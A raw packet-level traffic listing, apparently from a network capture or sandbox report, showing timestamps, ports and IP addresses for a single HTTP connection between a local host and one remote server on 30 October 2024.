Oct 30, 2024 04:35:47.034270048 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.034292936 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.034308910 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.034324884 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.034356117 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.034398079 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.034420013 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.034435987 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.034452915 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.034467936 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.034497976 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.034526110 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.034537077 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.034552097 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.034565926 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.034600973 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.034600973 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.034636021 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.035227060 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.035244942 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.035264969 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.035284996 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.035288095 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.035320997 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.035326004 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.035336971 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.035372019 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.035401106 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.035424948 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.035439968 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.035454988 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.035470009 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.035470009 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.035515070 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.036099911 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.036154985 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.036158085 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.036170006 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.036206007 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.036228895 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.036250114 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.036264896 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.036278963 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.036294937 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.036294937 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.036322117 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.036355972 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.036372900 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.036386967 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.036401987 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.036437035 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.036463022 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.037055969 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.037070990 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.037086964 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.037116051 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.037132978 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.037146091 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.037147999 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.037188053 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.037211895 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.037223101 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.037228107 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.037259102 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.037260056 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.037275076 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.037277937 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.037292004 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.037302017 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.037323952 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.037341118 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.037952900 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.037982941 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.037998915 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.038024902 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.038054943 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.038065910 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.038080931 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.038098097 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.038114071 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.038147926 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.038149118 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.038157940 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.038182020 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.038183928 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.038197994 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.038201094 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.038244009 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.038274050 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.038918018 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.038933992 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.038965940 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.038980007 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.038988113 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.039012909 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.039027929 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.039030075 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.039040089 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.039076090 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.039104939 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.185569048 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.185616970 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.185642004 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.185657978 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.185672998 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.185692072 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.185760975 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.185769081 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.185822964 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.185833931 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.185848951 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.185899019 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.185915947 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.185930014 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.185981035 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.186006069 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.186012983 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.186027050 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.186074018 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.186075926 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.186100006 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.186127901 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.186130047 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.186146021 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.186162949 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.186182976 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.186188936 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.186198950 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.186209917 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.186224937 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.186268091 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.186285019 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.186290979 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.186305046 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.186338902 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.186353922 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.186376095 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.186391115 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.186407089 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.186439991 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.186466932 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.186482906 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.186496973 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.186521053 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.186534882 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.186547041 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.186597109 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.186599016 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.186614037 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.186629057 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.186644077 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.186659098 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.186681986 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.186836004 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.186856985 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.186872005 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.186885118 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.186928034 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.186929941 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.186943054 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.186980009 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.187015057 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.187026024 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.187063932 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.187088966 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.187103987 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.187115908 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.187118053 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.187130928 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.187146902 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.187159061 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.187179089 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.187197924 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.187212944 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.187222004 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.187243938 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.187252998 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.187258959 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.187273026 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.187278986 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.187299013 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.187335014 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.187345982 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.187361002 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.187376976 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.187413931 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.187431097 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.191030025 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.191056967 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.191071987 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.191164017 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.191164017 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.191184998 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.191230059 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.191243887 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.191270113 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.191318035 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.191344023 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.191348076 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.191359997 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.191375971 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.191390038 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.191425085 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.191503048 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.191533089 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.191559076 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.191569090 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.191584110 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.191597939 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.191611052 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.191618919 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.191632986 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.191636086 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.191649914 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.191660881 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.191663027 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.191679001 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.191682100 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.191694021 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.191704035 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.191709042 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.191726923 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.191741943 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.191749096 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.191756964 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.191771984 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.191787004 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.191791058 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.191802025 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.191827059 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.191827059 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.191860914 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.191876888 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.191910028 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.191925049 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.191940069 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.191956043 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.191956043 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.191975117 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.191998959 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.192039967 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.192070961 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.192085028 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.192099094 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.192115068 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.192140102 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.192140102 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.192140102 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.192162991 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.192173958 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.192184925 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.192199945 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.192210913 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.192230940 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.192231894 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.192246914 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.192270041 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.192280054 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.192290068 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.192301989 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.192321062 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.192337036 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.192349911 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.192370892 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.192380905 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.192394972 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.192399025 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.192410946 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.192423105 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.192456961 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.192502022 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.192516088 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.192532063 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.192548037 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.192564011 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.192567110 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.192578077 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.192589045 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.192626953 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.192648888 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.192663908 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.192682981 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.192703962 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.192715883 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.192733049 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.192749023 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.192765951 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.192775011 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.192795992 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.192799091 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.192814112 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.192814112 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.192831039 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.192842960 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.192863941 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.192886114 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.192907095 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.192922115 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.192936897 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.192950964 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.192953110 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.192972898 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.193005085 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.193031073 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.193046093 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.193059921 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.193075895 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.193090916 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.193111897 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.193111897 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.193150043 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.193167925 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.193182945 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.193209887 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.193231106 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.193234921 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.193248987 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.193264961 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.193274021 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.193280935 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.193291903 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.193296909 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.193312883 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.193327904 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.193331003 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.193360090 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.193392038 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.193520069 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.193533897 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.193548918 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.193563938 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.193579912 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.193583965 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.193594933 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.193609953 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.193622112 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.193624973 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.193639994 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.193641901 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.193672895 CET	49999	80	192.168.2.7	185.215.113.16
